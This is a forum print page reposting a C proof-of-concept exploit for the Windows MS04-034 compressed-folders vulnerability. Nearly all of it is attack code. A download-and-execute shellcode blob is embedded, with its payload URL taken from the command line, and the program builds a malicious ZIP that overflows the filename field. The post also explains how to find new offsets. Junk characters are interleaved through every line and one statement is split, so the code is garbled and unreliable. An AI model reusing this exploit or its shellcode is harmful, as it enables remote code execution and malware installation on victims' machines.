数学建模社区-数学中国
标题:
(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders
[打印本页]
作者:
韩冰
时间:
2004-11-21 10:51
标题:
(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders
/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034)
" b9 d: n2 z7 r9 j2 [, u
*
# n2 F* ]+ M6 M) b
* Tested under Windows XP SP0 Spanish/English
/ I; |: r; P- ?" O3 Y* I
*
, a, }( V0 J* L
* Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html
, J5 V/ } R2 H, W
* Exploit Date: 21/10/2004
* a" |0 y7 q# m0 L" U
*
# h2 J3 X' K& o# ~# T4 X
* Tarako - Haxorcitos.com 2004
L$ {% m/ B% x
*
* Q- q; r: b+ ^1 g/ | k
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
$ \: @$ _' b' v1 s% r; B
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
# O* J4 q; O) q2 E, f5 o
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
; i2 y0 e( t. w& F8 t" l4 j
*
( K; v9 T! r! Z# e( R
* Greetings t #haxorcitos, #dsr and #localhost @efnet
5 C- ?+ v5 o; y& _$ h% z4 d. P- O
*
( D r5 h$ I5 v
*
0 D- o, M# ] g( a
* How to get new offsets:
# `, @: P) J5 n" _' u; @9 }
* 1) attach debugger (i.e ollydbg) to explorer.exe
, b3 C2 ^6 l2 m5 m0 J8 j8 W; ~0 F9 |
* 2) open the zip file as a folder and add or move some files to it
- F9 N3 E1 |# c2 h
* 3) search in the explorer.exe memory the shellcode and get the addresses
( D1 O, f" M0 R9 t5 m7 ^. w% l4 A
*
* h7 k; h3 i! ] @5 L0 G
*/
* M. _' W) B8 J! D( E
5 b3 {( ~1 z; z3 X3 E2 J
#include <stdio.h>
% c1 U# d! y7 F* e5 q1 C9 s1 L
#include <windows.h>
$ u; j2 \ _6 Q; B% B5 w
# j; M6 ^1 k k! g; x1 h
#pragma pack(1)
|. N: S" @# l# l& H+ X
( A. P, u6 K( z% V \! y
#define DATOS "Tarako-Haxorcitos.com"
9 y; _$ G" x a1 x! e. I
( K2 j# U4 P3 Y
typedef struct {
( [5 o0 c8 V4 G# d1 U
DWORD Signature; // PK.. 4 bytes (0x04034B50)
0 d( W. G/ @0 y/ a: o. `
WORD VersionNeeded;
, X: J2 ]* @# a1 d+ y) H9 g/ f6 X
WORD GeneralPurposeFlag; // para el data descriptor y demas
/ n/ J4 G' `! B- j# X% N
WORD CompressionMethod;
: V T6 E3 g' p0 r, r
WORD ModFileTime;
( _: r7 O9 K: E0 _! x1 y9 A! z/ y
WORD ModFileDate;
) S, G8 f, a1 ~& G3 K
DWORD Crc32;
0 m. i% ^4 S2 l- k8 O
DWORD CompressedSize;
; R. i- @( |! M9 J, |' ?. V
DWORD UncompressedSize;
6 I- e! E& T* |! n5 p% D3 B( U) W
WORD FilenameLength;
" @ X( y3 q& k- b
WORD ExtraFieldLength;
: a$ t \; `# p/ h
// filename (variable size)
4 e5 v( C/ e% o: C, N# t" e F, a/ ?
// extra field (variable size)
' D/ n* u ~- n* s
}TOPHEADER;
+ o' o7 b9 s" h
' Z- f, {; t/ E3 g e: O
8 R6 T7 \% y0 p' k- U9 [% g
typedef struct {
0 m0 t- _9 k( [9 o' a, f9 ]) d. m
DWORD Signature; // PK.. 4 bytes (0x02014B50)
0 m9 }6 h- X) k, T; X# F- e0 A
WORD MadeVersion;
$ h$ A$ g7 h) c2 s0 S9 Z. g& G
WORD VersionNeeded;
: F! {! s5 e# [) l0 T. G
WORD GeneralPurposeFlag; // para el data descriptor y demas
9 q/ ?6 S- P4 v* v0 m/ `
WORD CompressionMethod;
, Z0 J9 [# Y/ ^/ f
WORD ModFileTime;
- |2 g% U# y( g2 Q$ u' r3 i+ h
WORD ModFileDate;
, |) C8 ]$ |8 [7 Q; E) k
DWORD Crc32;
. W7 H. O" R& W8 J) D; x
DWORD CompressedSize;
7 B/ h( y$ M; M# }! b2 H
DWORD UncompressedSize;
+ d/ S' T# i0 ~( |
WORD FilenameLength;
. \/ O Y# u0 M, _
WORD ExtraFieldLength;
[" j8 f" Q' U3 u8 a
WORD FileCommentLength;
9 T# n8 k) q% ^0 M9 \# b
WORD DiskNumberStart;
* J2 X3 C2 w: M$ D- C
WORD InternalFileAttributes;
& G7 b: Q5 o( M, f2 d( J
DWORD ExternalFileAttributes;
* h2 ]% J* E% w0 T
DWORD RelativeOffsetOfLocalHeader;
9 J, \3 t6 s7 D3 [+ u- E' ?& W
// filename (variable size)
% ~0 A9 m* b/ ?; P
// extra field (variable size)
( O1 p: q; ]' g
// file comment (variable size)
( G* m6 f$ X' U3 D: {6 n9 D
}MIDDLEHEADER;
. ]! V9 F$ N" b% E9 V
; ], T) S8 k0 U W
typedef struct {
$ ~9 U# G- @6 o
DWORD Signature; // PK.. 4 bytes (0x06054B50)
$ c+ i- x* o- H4 A
WORD NumOfThisDisk;
+ {+ {$ i. u, b9 S3 }6 m9 `1 s
WORD NumDisckStartCentralDirectory;
7 n% B' T8 N. G( L- Y7 d/ t( e% T
WORD NumEntriesCentralDirOnThisDisk;
, A8 w4 r+ Z- S$ j& K
WORD TotalNumEntriesCentralDir;
0 H& N- ]6 `6 K3 V* D& n
DWORD SizeCentralDirectory;
- _$ Y! d# v" e
DWORD OffsetCentraDirRespectStartDiskNum;
* H/ V/ `' C' U. L/ [/ [
WORD ZipCommentLength;
9 ?" W" D: O2 R+ S0 u. ]( ~( i
// zipfile comment (variable size)
( s7 m2 g5 F% r3 x: {* r
}BOTTOMHEADER;
+ R/ ^4 M8 x7 i8 ~+ ]( N& N
- W. m8 r3 y+ O$ j2 V
/*
' |- `2 M5 Z% \! g7 l F6 D Y
* download shellcode - RaiSe - raise@netsearch-ezine.com
0 m& T6 M1 _) m$ v8 z
*/
* S6 A |( m- N( x n& f/ \
char shellcode1[] =
# `8 _7 k# g: m9 o* M
"\xEB\x5D\x5F\x8B\xF7\x80\x3F"
" A& Z; _$ l7 `5 `
"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9"
- P x& s4 J3 T$ I* X4 R
"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08"
* n/ E6 S/ k) J
"\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8"
: e1 H. N/ J; Q3 H+ ?
"\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B"
2 Y( i/ e! m' m0 Z) ~
"\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74"
# M4 _* J( R5 `8 U$ P9 R
"\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74"
5 m3 k8 P; ^* _- j0 \" P
"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B"
8 _) \5 C. O/ @( L% I4 ~$ \
"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53"
: U1 v: y: j% ~ g3 L
"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78"
6 e4 r8 u( }4 Y
"\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30"
1 ^9 b8 k. ]$ s( h9 O
"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04"
9 _7 u- ~! I# v* H( ]( E; w
"\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66"
3 H- v, C% z* {8 {
"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D"
; y1 D8 Y& f7 {. C. T" B
"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0"
t( {9 r6 x L# ]7 p
"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04"
G. C1 d" A1 U3 H; |0 T- \
"\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB"
/ P) _6 S1 G( u: k; T" L# r
"\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C"
; U# O! N) x2 f* c5 V- ?
"\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8"
% Z. m7 G5 `5 }0 h
"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52"
( L. X8 _) c" K
"\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1"
) |4 y1 O. u- y
"\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC"
. ]9 N) X0 W( I- \# s3 J9 W
"\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0"
( r" f u7 W; q' D
"\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B"
' W2 @0 _' j+ o- U1 y
"\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF"
) c% D) X( \$ I& Q4 o4 q# o/ p X
"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69"
$ P+ n1 m* h0 x
"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49"
' p [9 o l9 D7 z t
"\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F"
( Q7 b0 e+ K- t6 b0 q
"\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61"
8 e9 D W% Q5 l' O5 e- V7 ^
"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78"
+ Q4 B- V; W. {+ e' F
"\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72"
! m+ R" e4 L/ S
"\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65"
, o8 O9 V7 M* J
"\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69"
8 Z7 x) k% {: G/ }
"\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64"
* Q0 x) G9 e6 `$ c/ Q
"\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08";
( m! n7 O% \( t- j2 Z) v
char shellcode2[] ="\x08\x01";
+ @+ P/ b# e9 b+ k0 U
' P8 T, ]3 h4 p+ ?) F
char offset[]="\x41\x41\x41\x41";
3 F7 f' _4 V$ d9 Q; e
char jmpbelow[]= "\xeb\x06\x90\x90";
0 y; K* L) w5 B
- Q4 a7 i$ n/ d. S2 V. @
int main(int argc,char *argv[]) {
- f7 a& j8 b! e
0 S8 {* i: Y. @
FILE *ZipFile;
2 d7 }4 x! y6 T! W* Y N/ A
TOPHEADER *Cabecera1;
2 g" o0 h( ?0 i; N; R5 M
MIDDLEHEADER *Cabecera2;
8 w& v$ K) ?8 Q" A
BOTTOMHEADER *Cabecera3;
/ L! _* H+ C& m9 H
6 n2 R0 |2 M0 V; v. D
DWORD c;
" t& K' L. l8 w- O) J0 j
UINT i;
* D: C: K- k% y# R
char *filename;
/ {* w8 B5 D* z0 {$ I$ M
char *url;
: g) D1 |% J0 S$ I5 _) { ~
6 C: g# I2 N$ B M4 d; }
printf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC");
2 d/ s7 h) S- r
printf("\n Tarako - Tarako[AT]Haxorcitos.com\n");
( p8 z( \" A! Q B0 Y
" x' g' ]& L4 g. i
if (argc!=2) {
2 T# }9 ~" i" r" \. O: q
printf("\n\n Usage: %s <URL> \n",argv[0]);
; o, \/ V/ q5 |& V
exit(1);
7 P7 |5 H! K D7 d7 m4 T
}
3 D4 X' Y- W3 s0 H7 P6 |, M( S
" M& U! g2 P( O$ F2 f: C K
url=argv[1];
) n, w: t9 |/ J. }
printf("\n * URL: %s",url);
$ O7 r2 i g5 `7 d# L" g; N
# V3 }, ~. ]; ?. x5 c# ~' a
8 r* Z' |4 h+ I6 V0 `. l
if (!(ZipFile=fopen("prueba.zip","w+b"))) {
1 {. N, R ?. h2 ^* o% U# n/ ~+ {
printf("\n [E] fopen()");
9 L/ n* \0 I0 [; q1 J1 h
exit(1);
?' i3 i6 f" F( P2 s4 x
}
9 A, X3 {) z9 V" a7 G
9 W& Q$ a9 L" {! p1 u
c=0x8000; // filename length
# m3 Q! V7 y. d3 [1 }0 O2 E
filename=(char*)malloc(sizeof(char)*c);
6 t* n9 l" Z) Y& u
memset(filename,0,sizeof(filename));
# Q' q8 {8 ~/ v% c
) n* p# H/ S- M( h
for( i=0x0;i<c;i++) filename
=(BYTE)0x90;
& }$ ?) M$ J! j5 v' u& O3 A
, Z1 z$ U) L4 {) x8 c
memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow));
& @8 ^+ w# H2 {$ J* F- n
memcpy(filename+0x1818,offset,strlen(offset));
: d* F% `: r0 A: b6 d" {; Q, H
: b% H* F, `& g9 b- e, y9 W Q9 V
memcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1);
' @+ |0 j3 A% [4 ]7 i \
memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url));
* Y! o8 X. H* j4 \* }; r
memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1);
* v/ n' K2 |4 S9 v
% o; ~9 w: N" R1 i# M7 c
memcpy(filename+(c-4),".txt",4);
4 B( M- n6 S; L1 W! ^8 L: `
/ [4 V1 P" d a2 A" T
Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER));
8 U' h( |( ^! i2 u
Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER));
! F/ \: T9 M9 l3 l' d( p2 ~$ h" T
Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER));
7 J5 T$ F) |5 h# N9 l+ l
memset(Cabecera1,0,sizeof(TOPHEADER));
" Y9 r k/ `+ t% J+ a; f
memset(Cabecera2,0,sizeof(MIDDLEHEADER));
2 `. y0 e$ j+ k" y/ Y5 L1 L
memset(Cabecera3,0,sizeof(BOTTOMHEADER));
# m7 V6 s6 D: Y8 w
7 M9 o: u8 X7 _% e- d
///////////////////////////////////////////////////////////////////
9 t9 r# F3 |# |' i0 Y
// TOPHEADER
( J6 L) S% B, `8 _% d- r
///////////////////////////////////////////////////////////////////
$ Y' A" g, o3 _6 }# r4 C8 A
Cabecera1->Signature=0x04034B50; // DWORD
$ ~3 x# p. l" E* i
Cabecera1->VersionNeeded=0x000A; // WORD
4 U' [; s" h z; }) {5 ^ U/ z8 Q" \
Cabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas
: Y9 u$ b$ ]6 \- H5 D3 A7 E/ `
Cabecera1->CompressionMethod=0x0000; // WORD
8 n9 U5 J5 V/ G, i
Cabecera1->ModFileTime=0x1362; // WORD
# I# ]6 q L) }# G- l0 n) [1 [
Cabecera1->ModFileDate=0x3154; // WORD
+ u$ d S, S4 B' C, m2 d) k4 R; ]
Cabecera1->Crc32=0x85B36639; // DWORD
9 s/ A" D& H: \8 b* v
Cabecera1->CompressedSize=0x00000015; // DWORD
/ e c& ]) N4 _5 i5 |
Cabecera1->UncompressedSize=0x00000015; // DWORD
- ~: t9 e& ?; u8 ?
Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);
& i/ O9 `0 b. T. y
Cabecera1->ExtraFieldLength=0x0000; // WORD
, C( C4 ?( @2 |
///////////////////////////////////////////////////////////////////
4 N6 \: R! E6 c, Y' ^9 b2 _
6 L( k4 y9 f% B5 P
///////////////////////////////////////////////////////////////////
* n. ?7 M8 O7 K2 Y+ k I% s4 u
// MIDDLEHEADER
# N; F& P8 T+ Q/ B/ d
///////////////////////////////////////////////////////////////////
2 V: a9 d/ r6 w9 I
Cabecera2->Signature=0x02014B50; // DWORD
# v; h! I! F; r; h
Cabecera2->MadeVersion=0x0014; // WORD
2 \. n/ e' C6 E( E" n8 s6 }
Cabecera2->VersionNeeded=0x000A; // WORD
) o3 ?5 d& I, o; p7 R5 m! g
Cabecera2->GeneralPurposeFlag=0x0002; // WORD
' `! \5 }: B( v# m8 t/ o c
Cabecera2->CompressionMethod=0x0000; // WORD
& J& W% H* Q- e% |. l- L3 ]3 A9 G
Cabecera2->ModFileTime=0x1362; // WORD
% w" q- G6 y, Q
Cabecera2->ModFileDate=0x3154; // WORD
* f! x2 C" {+ K0 k
Cabecera2->Crc32=0x85B36639; // DWORD
. @9 l* p! e6 ~9 G* q
Cabecera2->CompressedSize=0x00000015; // DWORD
2 c9 \, t5 e9 g3 Z; C+ F
Cabecera2->UncompressedSize=0x00000015; // DWORD
. A1 ?7 ^' r7 E
Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);
# n$ c0 D# ^! ?4 U* r: d, _& V
Cabecera2->ExtraFieldLength=0x0000; // WORD
, `+ z% i) \' R4 o$ D
Cabecera2->FileCommentLength=0x0000; // WORD
- S1 @3 A. f7 ?: C3 X3 U% y
Cabecera2->DiskNumberStart=0x0000; // WORD
3 Y' J' \# d, P1 n% c1 @+ M a
Cabecera2->InternalFileAttributes=0x0001; // WORD
- r7 J% w/ p h# Y _
Cabecera2->ExternalFileAttributes=0x00000020; // DWORD
# o# d, H! Q8 K2 b& F
Cabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD
' _1 j9 s8 m( {- i7 v
///////////////////////////////////////////////////////////////////
! f M& N0 Y9 K; w _
* ]0 t9 u5 E C8 }
///////////////////////////////////////////////////////////////////
. a9 p1 t J7 a7 i: s
// BOTTOMHEADER
7 h k1 d- {/ D/ s
///////////////////////////////////////////////////////////////////
+ }' R0 G' H' H* D; f' R
Cabecera3->Signature=0x06054B50; // DWORD
4 u+ M7 z: ~# A7 w3 V# L+ n3 H1 L
Cabecera3->NumOfThisDisk=0x0000; // WORD
6 |3 P4 a) F: }9 H0 i7 }
Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD
& g' u. K* S- [: c6 `
Cabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD
0 g _; k' w6 W5 u
Cabecera3->TotalNumEntriesCentralDir=0x0001; // WORD
. i7 Z1 d% t8 Q& A( G8 d y
Cabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD
% S/ S. a- d: K
Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD
2 a" }2 E. v( ?4 u5 d6 z( P' N! G+ Y4 n: j
Cabecera3->ZipCommentLength=0x0000; // WORD
* \! [ `3 {" L3 _
///////////////////////////////////////////////////////////////////
# h4 Y& I( d9 I
1 M& o9 }( e; g5 S2 ^7 [9 Q
fwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile);
# `2 @+ q2 C0 I5 U
; I: k( y: B7 Q0 }- M9 b: L
fwrite(filename, c, 1,ZipFile);
6 x* F$ j" C# ^3 M3 `* S
fwrite(DATOS,strlen(DATOS),1,ZipFile);
0 W z z; H! Z+ q
! v n# ~) \; S( B+ C& U
fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile);
" |9 _/ Z; c& c+ G0 ~# Z
fwrite(filename, c, 1,ZipFile);
& E" }9 h9 [9 H" x# c
fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile);
6 N( D! o4 N- ?9 \7 [
8 j! X: J4 w) `
fclose(ZipFile);
- Z" O- U0 W4 Y# J
printf("\n * prueba.zip created\n");
% _0 q3 L$ n I; @6 H9 r+ \% N
return 1;
. O. s" t5 b" k" p; p- b
}//downloaded from milw0rm.com
& E3 n& N" O; r( Q/ v$ e- n- y
欢迎光临 数学建模社区-数学中国 (http://www.madio.net/)
Powered by Discuz! X2.5